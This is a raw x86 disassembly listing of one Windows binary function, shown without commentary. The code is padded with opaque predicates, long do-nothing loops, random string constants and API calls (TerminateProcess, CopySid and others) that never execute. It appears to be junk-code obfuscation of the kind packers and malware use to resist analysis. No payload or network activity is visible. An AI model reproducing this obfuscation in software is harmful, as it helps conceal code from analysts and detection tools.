cmp dword [ebp - 0x4c0], 0x3b8fba32
jne 0x1003a65c
mov dword [ebp - 0x7e8], 1
jmp 0x1003a663
and dword [ebp - 0x7e8], 0
cmp dword [ebp - 0x7e8], 1
jne 0x1003a678
mov dword [ebp - 0xb70], 1
jmp 0x1003a67f
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1003a6a6
mov eax, 0xcdcc
test eax, eax
jne 0x1003a6a6
and dword [ebp - 0x4c8], 0
jmp 0x1003a6b0
mov dword [ebp - 0x4c8], 1
imul eax, dword [ebp - 0x4c8], 6
test eax, eax
jne 0x1003a6cb
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x1003a6cb
and dword [ebp - 0x6e0], 0
jmp 0x1003a6d5
mov dword [ebp - 0x6e0], 1
mov eax, dword [ebp - 0x3dc]
imul eax, dword [ebp - 0x6e0]
cmp eax, 0xffff
jb 0x1003a6f5
mov dword [ebp - 0x4d0], 1
jmp 0x1003a6fc
and dword [ebp - 0x4d0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18]
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x38c]
imul edx, dword [ebp - 0x4d0]
sub edx, dword [ebp + ecx*4 - 0xbb8]
cmp edx, dword [ebp + eax - 0x38c]
je 0x1003a735
mov dword [ebp - 0x4d8], 1
jmp 0x1003a73c
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x870]
imul eax, dword [ebp - 0x4d8]
test eax, eax
je 0x1003a75f
cmp dword [ebp - 0x64], 0
je 0x1003a75f
mov dword [ebp - 0xbd0], 1
jmp 0x1003a766
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xbb8]
mov dword [ebp - 0xd54], eax
mov dword [ebp - 0x80], 0xa0fefe6b
mov eax, dword [ebp - 0x80]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x38c], eax
jmp 0x1003a801
mov dword [ebp - 0x1d0], 0
jmp 0x1003a7a8
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 4
jge 0x1003a7c4
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0xf60], 8
jmp 0x1003a79b
cmp dword [ebp - 0x80], 0xfffffff7
jge 0x1003a7d6
mov dword [ebp - 0x6e8], 1
jmp 0x1003a7dd
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xf60], eax
cmp dword [ebp - 0x248], 0
je 0x1003a801
jmp 0x1003a806
jmp 0x1003a3f0
mov dword [ebp - 0x64], 0
jmp 0x1003a816
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x22
jne 0x1003a9b1
mov dword [ebp - 0xaf4], 0xc0db1b79
mov dword [ebp - 0x18], 0
jmp 0x1003a83a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1b
jge 0x1003a9ac
mov dword [ebp - 0xaf4], 0x4b93db2a
mov byte [ebp - 0xd9], 0
mov dword [ebp - 0x4e0], 0x6c5
mov dword [ebp - 0x9c8], str.nwuwmqclx_yvkna_elwpj_ugi_fnpvyqg_ckrjyk_ducr_cdryldx
cmp dword [ebp - 0x4e0], 0x7e8
jle 0x1003a951
and dword [ebp - 0x1d8], 0
jmp 0x1003a88f
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x1e8c
jge 0x1003a951
and dword [ebp - 0x250], 0
jmp 0x1003a8b5
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x1fb1
jge 0x1003a94c
and dword [ebp - 0x1e0], 0
jmp 0x1003a8db
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x6678
jge 0x1003a947
mov eax, dword [ebp - 0x1d8]
cdq
idiv dword [ebp - 0x250]
and edx, dword [ebp - 0x1e0]
mov eax, edx
cdq
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0xa0c], edx
push dword [ebp - 0xa0c]
push dword [ebp - 0xa10]
lea ecx, [ebp - 0xfa8]
call fcn.10001a55
pop ecx
pop ecx
mov dword [ebp - 0x944], eax
mov ecx, dword [ebp - 0x944]
call fcn.10001bde
push eax
call fcn.10047d34
pop ecx
lea ecx, [ebp - 0xfa8]
call fcn.10001bd4
jmp 0x1003a8ce
jmp 0x1003a8a8
jmp 0x1003a882
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x1003a962
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 4], 9
cmp dword [ebp - 0x4e0], 0x54c
jge 0x1003a981
push dword [ebp - 0x9c8]
call fcn.10047d34
pop ecx
jmp 0x1003a99d
or dword [ebp - 4], 0xffffffff
jmp 0x1003a9a7
jmp 0x1003a833
jmp 0x1003a80f
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x154]
mov ecx, dword [ebp - 0x3c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x258], 1
mov dword [ebp - 0xd5c], 4
mov dword [ebp - 0x94], 0
jmp 0x1003a9f3
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x1003aa0f
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xd64], 0xb6069300
jmp 0x1003a9e6
mov dword [ebp - 0x94], 0
jmp 0x1003aa28
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 4
jge 0x1003aa44
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xefc], 0
jmp 0x1003aa1b
mov dword [ebp - 0x258], 0
jmp 0x1003aa5d
mov eax, dword [ebp - 0x258]
dec eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0xffffffe5
jg 0x1003ae08
mov dword [ebp - 0x260], 0xe713a473
mov dword [ebp - 0xd6c], 0x9d568d52
mov dword [ebp - 0xd74], 6
mov dword [ebp - 0xd7c], 0x61c71bc7
mov dword [ebp - 0xd84], 0x182b4746
mov dword [ebp - 0xd8c], 0
mov dword [ebp - 0x1e8], 0
jmp 0x1003aabf
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 2
jge 0x1003aadb
mov eax, dword [ebp - 0x1e8]
mov dword [ebp + eax*4 - 0xf30], 1
jmp 0x1003aab2
mov dword [ebp - 0x260], 0xffffffed
jmp 0x1003aaf4
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0xffffffe7
jge 0x1003ade2
mov dword [ebp - 0xd94], 0xd0d3f7bf
mov dword [ebp - 0xabc], 1
mov dword [ebp - 0xd9c], 0x7747bb7a
mov dword [ebp - 0x7f0], 0x4f53
mov dword [ebp - 0x94c], str.rsndhcmg_pakqk_njkaspogt_sbegu_yiitzh_tkrffj_lzghrh_kdaang_rslg_xjulpmvbi_kul
cmp dword [ebp - 0x7f0], 0x52fb
jle 0x1003ac1a
and dword [ebp - 0x1f4], 0
jmp 0x1003ab59
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x2f1d
jge 0x1003ac1a
and dword [ebp - 0x184], 0
jmp 0x1003ab7f
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x69b
jge 0x1003ac15
and dword [ebp - 0x268], 0
jmp 0x1003aba5
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0xc4f
jge 0x1003ac10
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x268]
sar eax, cl
or eax, dword [ebp - 0x1f4]
cdq
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0xa18], edx
push dword [ebp - 0xa18]
push dword [ebp - 0xa1c]
lea ecx, [ebp - 0x1008]
call fcn.10001a55
pop ecx
pop ecx
mov dword [ebp - 0xaf8], eax
mov ecx, dword [ebp - 0xaf8]
call fcn.10001bde
push eax
call fcn.10047d34
pop ecx
lea ecx, [ebp - 0x1008]
call fcn.10001bd4
jmp 0x1003ab98
jmp 0x1003ab72
jmp 0x1003ab4c
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x7f0], 0x4bad
jge 0x1003ac39
push dword [ebp - 0x94c]
call fcn.10047d34
pop ecx
jmp 0x1003ac55
or dword [ebp - 4], 0xffffffff
jmp 0x1003ac5f
mov dword [ebp - 0x1f8], 0
jmp 0x1003ac78
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 3
jge 0x1003ac94
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x10b0], 0xfffffff9
jmp 0x1003ac6b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xefc]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xefc], eax
mov dword [ebp - 0x4e8], 0x27c9
mov dword [ebp - 0x954], str.fumlcsymh_bexgtbim_hxwu_scmxrkbk_msuv
cmp dword [ebp - 0x4e8], 0x28dc
jle 0x1003ad86
mov ecx, 0x195c
call fcn.1002ed78
and dword [ebp - 0x2b4], 0
jmp 0x1003acf3
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x61f3
jge 0x1003ad86
and dword [ebp - 0x334], 0
jmp 0x1003ad19
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x6048
jge 0x1003ad81
and dword [ebp - 0x204], 0
jmp 0x1003ad3b
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x2229
jge 0x1003ad7f
mov eax, dword [ebp - 0x334]
imul eax, dword [ebp - 0x204]
add eax, dword [ebp - 0x2b4]
cdq
mov dword [ebp - 0xa28], eax
mov dword [ebp - 0xa24], edx
push dword [ebp - 0xa24]
push dword [ebp - 0xa28]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003ad2e
jmp 0x1003ad0c
jmp 0x1003ace6
cmp dword [ebp - 0xabc], 0
je 0x1003ad94
jmp 0x1003aae7
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x4e8], 0x253e
jge 0x1003adb7
mov edx, dword [ebp - 0x954]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003add3
or dword [ebp - 4], 0xffffffff
jmp 0x1003addd
jmp 0x1003aae7
mov byte [ebp - 0xdf], 0
movzx eax, byte [ebp - 0xdf]
test eax, eax
je 0x1003ae03
push 0
push 0
push 0x1469
call dword [sym.imp.ADVAPI32.dll_CopySid]
jmp 0x1003aa50
jmp 0x1003a063
push 1
lea ecx, [ebp - 0x374]
call fcn.1000efc4
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x58], 0x144ad72d
mov dword [ebp - 0x30c], 0x4ed832cb
mov dword [ebp - 0x974], 0x3a8461a3
mov dword [ebp - 0x88], 0
jmp 0x1003ae55
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1003ae77
push dword [ebp - 0x88]
lea ecx, [ebp - 0x374]
call fcn.1000f063
mov dword [eax], 0x5dcec3d7
jmp 0x1003ae48
mov dword [ebp - 0x88], 0
jmp 0x1003ae90
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1003aeac
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xc1c], 0x558c
jmp 0x1003ae83
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
cmp dword [eax], 0
je 0x1003b072
mov dword [ebp - 0xf4], 0xcc90a35f
mov dword [ebp - 0x7f8], 0x64e6
mov dword [ebp - 0x8b8], 0xa5bed857
mov dword [ebp - 0xf4], 0xffffffef
jmp 0x1003aef9
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xe
jne 0x1003b06d
mov dword [ebp - 0x6f8], 0xfffffffa
mov dword [ebp - 0x95c], 0xee01e6e8
mov dword [ebp - 0x58], 0xfffffffe
mov eax, 0x12a7b09f
test eax, eax
je 0x1003af96
cmp dword [ebp - 0x6f8], 1
ja 0x1003af3f
mov dword [ebp - 0x6f0], 1
jmp 0x1003af46
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x6f0]
neg eax
cmp eax, 0xf18ee85e
ja 0x1003af61
mov dword [ebp - 0xb00], 1
jmp 0x1003af68
and dword [ebp - 0xb00], 0
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
cmp dword [eax], 0x1993
jge 0x1003af96
mov dword [ebp - 0x4f0], 1
jmp 0x1003af9d
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x8b8], 0x9c089ced
jae 0x1003afc8
mov dword [ebp - 0x4f8], 1
jmp 0x1003afcf
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x4f8]
test eax, eax
jne 0x1003afe4
cmp dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x58], 0
jne 0x1003aff0
cmp dword [ebp - 0x58], 0
je 0x1003aff9
cmp dword [ebp - 0x6f8], 0
jne 0x1003b00b
mov eax, 0xed4bca92
test eax, eax
jne 0x1003b00b
and dword [ebp - 0x500], 0
jmp 0x1003b015
mov dword [ebp - 0x500], 1
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x500]
jg 0x1003b02f
mov dword [ebp - 0x508], 1
jmp 0x1003b036
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x7f8]
add eax, 0xfff7
cmp eax, dword [ebp - 0x508]
jle 0x1003b055
mov dword [ebp - 0x700], 1
jmp 0x1003b05c
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x95c], eax
jmp 0x1003aeec
jmp 0x1003b433
mov dword [ebp - 0x30], 0x72625aa9
mov dword [ebp - 0x20c], 0xffffffff
mov dword [ebp - 0xad4], 0xffffffff
mov dword [ebp - 0x58], 0xe
jmp 0x1003b09d
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x12
jge 0x1003b1c5
mov dword [ebp - 0x878], 1
mov dword [ebp - 0xac8], 0xb9e588ce
xor eax, eax
inc eax
je 0x1003b0de
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
cmp dword [eax], 0
je 0x1003b0de
mov dword [ebp - 0x510], 1
jmp 0x1003b0e5
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x510]
je 0x1003b0fc
mov dword [ebp - 0x800], 1
jmp 0x1003b103
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
jne 0x1003b121
mov dword [ebp - 0x708], 1
jmp 0x1003b128
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x878]
cmp eax, dword [ebp - 0x878]
jle 0x1003b142
mov dword [ebp - 0x518], 1
jmp 0x1003b149
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0xac8]
cmp dword [ebp - 0x518], eax
jg 0x1003b163
mov dword [ebp - 0x520], 1
jmp 0x1003b16a
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x708]
cmp eax, dword [ebp - 0x520]
jl 0x1003b184
mov dword [ebp - 0x528], 1
jmp 0x1003b18b
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x800]
sub eax, dword [ebp - 0x528]
mov dword [ebp - 0x20c], eax
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x1003b1c0
push 0
push 0x647
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
jmp 0x1003b096
or eax, 0xffffffff
je 0x1003b420
cmp dword [ebp - 0x30], 0
jne 0x1003b1e1
xor eax, eax
jne 0x1003b1e1
and dword [ebp - 0x710], 0
jmp 0x1003b1eb
mov dword [ebp - 0x710], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x710]
jle 0x1003b202
mov dword [ebp - 0x718], 1
jmp 0x1003b209
and dword [ebp - 0x718], 0
cmp dword [ebp - 0x30], 0
je 0x1003b22d
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
cmp dword [eax], 0
je 0x1003b22d
mov dword [ebp - 0x530], 1
jmp 0x1003b234
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0xda4], eax
cmp dword [ebp - 0x30], 0
jne 0x1003b26d
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
cmp dword [eax], 0
jne 0x1003b26d
and dword [ebp - 0x8d0], 0
jmp 0x1003b277
mov dword [ebp - 0x8d0], 1
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x58]
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
mov ecx, dword [ebp - 0x8d0]
sub ecx, dword [eax]
sub ecx, edi
cmp ecx, esi
jl 0x1003b2a7
cmp dword [ebp - 0x30], 0
jne 0x1003b2a7
and dword [ebp - 0x538], 0
jmp 0x1003b2b1
mov dword [ebp - 0x538], 1
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
mov ecx, dword [ebp - 0x538]
cmp ecx, dword [eax]
je 0x1003b2d4
mov dword [ebp - 0x964], 1
jmp 0x1003b2db
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x20c]
add eax, 0x8d988ec
cmp eax, dword [ebp - 0x30]
jg 0x1003b300
mov dword [ebp - 0x540], 1
jmp 0x1003b307
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x718]
cmp eax, dword [ebp - 0x540]
je 0x1003b321
mov dword [ebp - 0x808], 1
jmp 0x1003b328
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x808], eax
jne 0x1003b33f
mov dword [ebp - 0x548], 1
jmp 0x1003b346
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jne 0x1003b361
mov dword [ebp - 0x720], 1
jmp 0x1003b368
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0xdb4], eax
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xb08], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb08]
mov dword [ebp + eax - 0xc1c], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc1c], 1
jle 0x1003b3c5
mov dword [ebp - 0x550], 1
jmp 0x1003b3cc
and dword [ebp - 0x550], 0
push 0
lea ecx, [ebp - 0x374]
call fcn.1000f063
mov ecx, dword [ebp - 0x550]
cmp ecx, dword [eax]
jle 0x1003b3f5
cmp dword [ebp - 0x30], 0
je 0x1003b3f5
mov dword [ebp - 0x96c], 1
jmp 0x1003b3fc
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0xad4]
mov dword [ebp - 0xdbc], eax
mov eax, 0xa651
add eax, 0xbc76
je 0x1003b420
mov dword [ebp - 0x880], 1
jmp 0x1003b427
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x974], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x374]
call fcn.1000f047
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x21c]
movzx eax, byte [ebp + eax - 0x156]
movzx eax, word [ebp + eax*2 - 0xcd8]
mov ecx, dword [ebp - 0x3c]
movzx ecx, byte [ebp + ecx - 0x153]
and ecx, eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x21c]
movzx eax, byte [ebp + eax - 0x156]
movzx eax, word [ebp + eax*2 - 0xcd8]
mov edx, dword [ebp - 0x3c]
movzx edx, byte [ebp + edx - 0x153]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x154]
mov word [ebp + eax*2 - 0xcd8], dx
mov dword [ebp - 0x38], 1
mov dword [ebp - 0xb10], 0x2a5bc422
push 3
lea ecx, [ebp - 0xc9c]
call fcn.1000efc4
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x214], 0
jmp 0x1003b4e1
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 3
jge 0x1003b503
push dword [ebp - 0x214]
lea ecx, [ebp - 0xc9c]
call fcn.1000f063
mov dword [eax], 0x5fa
jmp 0x1003b4d4
mov dword [ebp - 0x38], 0
jmp 0x1003b513
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x10
jle 0x1003b659
mov dword [ebp - 0x558], 0xfffffff6
mov dword [ebp - 0x560], 0
push 2
lea ecx, [ebp - 0xbf8]
call fcn.1000efc4
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x568], 0x9986e3e4
mov dword [ebp - 0x2bc], 0
jmp 0x1003b565
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 2
jge 0x1003b587
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0xbf8]
call fcn.1000f063
mov dword [eax], 0xfffffffe
jmp 0x1003b558
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x560]
jne 0x1003b59e
mov dword [ebp - 0x728], 1
jmp 0x1003b5a5
and dword [ebp - 0x728], 0
mov dword [ebp - 0x558], 0xe443
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x558]
cmp eax, dword [ebp - 0x728]
jl 0x1003b5cc
mov dword [ebp - 0x730], 1
jmp 0x1003b5d3
and dword [ebp - 0x730], 0
push 1
lea ecx, [ebp - 0xbf8]
call fcn.1000f063
mov dword [eax], 1
push 1
lea ecx, [ebp - 0xbf8]
call fcn.1000f063
cmp dword [eax], 0
jne 0x1003b5fe
cmp dword [ebp - 0x38], 0
je 0x1003b604
cmp dword [ebp - 0x38], 0
jne 0x1003b616
cmp dword [ebp - 0x560], 0
jne 0x1003b616
and dword [ebp - 0x810], 0
jmp 0x1003b620
mov dword [ebp - 0x810], 1
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x568]
add eax, 0xfffe
mov ecx, dword [ebp - 0x730]
sub ecx, eax
mov dword [ebp - 0xb10], ecx
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xbf8]
call fcn.1000f047
jmp 0x1003b50c
mov dword [ebp - 0x38], 0
jmp 0x1003b669
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1003b685
push dword [ebp - 0x38]
lea ecx, [ebp - 0xc9c]
call fcn.1000f063
mov dword [eax], 0x5764
jmp 0x1003b662
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc9c]
call fcn.1000f047
and dword [ebp - 0x21c], 0
jmp 0x1003a063
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xcd8], cx
mov dword [ebp - 0xa0], 0xfffffff8
mov dword [ebp - 0xaec], 0x4227f44f
mov dword [ebp - 0x9c], 0
jmp 0x1003b6dd
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x1003b6f9
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x368], 0xe8b72fd4
jmp 0x1003b6d0
mov dword [ebp - 0x9c], 0
jmp 0x1003b712
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x1003b72e
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xd3c], 0
jmp 0x1003b705
mov dword [ebp - 0xa0], 0
jmp 0x1003b747
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 5
je 0x1003b88f
mov dword [ebp - 0xec], 0x7555b7ce
mov dword [ebp - 0xb18], 5
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x1003b787
push 0xc70
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0xec], 0
jmp 0x1003b7a0
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jg 0x1003b88a
mov dword [ebp - 0x124], 0xffffffff
mov dword [ebp - 0xae0], 0x592c6eed
cmp dword [ebp - 0x124], 0xfffffff7
je 0x1003b7d6
mov dword [ebp - 0x97c], 1
jmp 0x1003b7dd
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xdc4], eax
xor eax, eax
inc eax
cmp eax, 0xfc36fe5
jle 0x1003b80b
mov dword [ebp - 0x570], 1
jmp 0x1003b812
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x570]
add eax, 0xa
cmp dword [ebp - 0x124], eax
je 0x1003b82f
mov dword [ebp - 0x984], 1
jmp 0x1003b836
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xdd4], eax
mov eax, 0x44ad
test eax, eax
jne 0x1003b864
xor eax, eax
jne 0x1003b864
and dword [ebp - 0x8c0], 0
jmp 0x1003b86e
mov dword [ebp - 0x8c0], 1
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0xb18], eax
cmp dword [ebp - 0xec], 0
je 0x1003b885
jmp 0x1003b88a
jmp 0x1003b793
jmp 0x1003b73a
mov dword [ebp - 0xa0], 1
jmp 0x1003b8a8
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jl 0x1003bacd
mov dword [ebp - 0x40], 0x4a6e8f59
push 1
lea ecx, [ebp - 0xc04]
call fcn.1000efc4
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x34c], 0
jmp 0x1003b8e9
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 1
jge 0x1003b90b
push dword [ebp - 0x34c]
lea ecx, [ebp - 0xc04]
call fcn.1000f063
mov dword [eax], 0x14d2fc5c
jmp 0x1003b8dc
mov dword [ebp - 0x40], 1
jmp 0x1003b91b
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x1003bab9
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x740], 0xfffffff8
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x368]
mov dword [ebp - 0xddc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x368], 0x32c2a4e6
je 0x1003b968
mov dword [ebp - 0x98c], 1
jmp 0x1003b96f
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x368]
mov dword [ebp - 0xe98], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp + eax*4 - 0x368]
jle 0x1003b99a
mov dword [ebp - 0x578], 1
jmp 0x1003b9a1
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x368]
cmp eax, dword [ebp - 0x738]
je 0x1003b9cb
mov dword [ebp - 0x580], 1
jmp 0x1003b9d2
and dword [ebp - 0x580], 0
mov esi, dword [ebp - 0x580]
neg esi
push 0
lea ecx, [ebp - 0xc04]
call fcn.1000f063
cmp esi, dword [eax]
jg 0x1003b9f7
mov dword [ebp - 0x818], 1
jmp 0x1003b9fe
and dword [ebp - 0x818], 0
cmp dword [ebp - 0x818], 0x758a8ce9
jl 0x1003ba16
mov dword [ebp - 0x588], 1
jmp 0x1003ba1d
and dword [ebp - 0x588], 0
push 0
lea ecx, [ebp - 0xc04]
call fcn.1000f063
mov eax, dword [eax]
